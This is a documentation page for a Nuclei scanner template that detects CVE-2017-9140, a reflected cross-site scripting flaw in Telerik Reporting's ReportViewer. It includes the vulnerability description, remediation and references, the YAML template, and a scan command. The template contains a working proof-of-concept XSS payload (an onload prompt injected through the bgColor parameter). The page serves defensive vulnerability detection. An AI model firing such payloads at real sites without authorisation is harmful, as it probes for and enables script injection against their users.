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Reflected XSS - Telerik Reporting Module

ID: CVE-2017-9140

Severity: medium

Author: dhiyaneshDk

Tags: cve2017,cve,xss,telerik,progress

Description

Section titled “Description”

Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.

YAML Source

Section titled “YAML Source”
id: CVE-2017-9140


info:
  name: Reflected XSS - Telerik Reporting Module
  author: dhiyaneshDk
  severity: medium
  description: Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement of web pages, or theft of sensitive information.
  remediation: Upgrade to application version 11.0.17.406 (2017 SP2) or later.
  reference:
    - https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9140
    - https://www.veracode.com/blog/research/anatomy-cross-site-scripting-flaw-telerik-reporting-module
    - http://www.telerik.com/support/whats-new/reporting/release-history/telerik-reporting-r1-2017-sp2-(version-11-0-17-406)
    - https://knowledgebase.progress.com/articles/Article/Security-Advisory-for-Resolving-Security-vulnerabilities-September-2018
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-9140
    cwe-id: CWE-79
    epss-score: 0.00191
    epss-percentile: 0.56488
    cpe: cpe:2.3:a:progress:telerik_reporting:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: progress
    product: telerik_reporting
  tags: cve2017,cve,xss,telerik,progress


http:
  - method: GET
    path:
      - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'


    matchers-condition: and
    matchers:
      - type: word
        words:
          - '#000000"onload="prompt(1)'
          - 'Telerik.ReportViewer.axd?name=Resources'
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402202cbed19b5af7421014b9b7e029bdfa0907d11ef70f568760516dfa8b30751ee302203ac77165eb1819778647ffe7231277e5192d1b97085ff69e8403b6572ba29583:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-9140.yaml"

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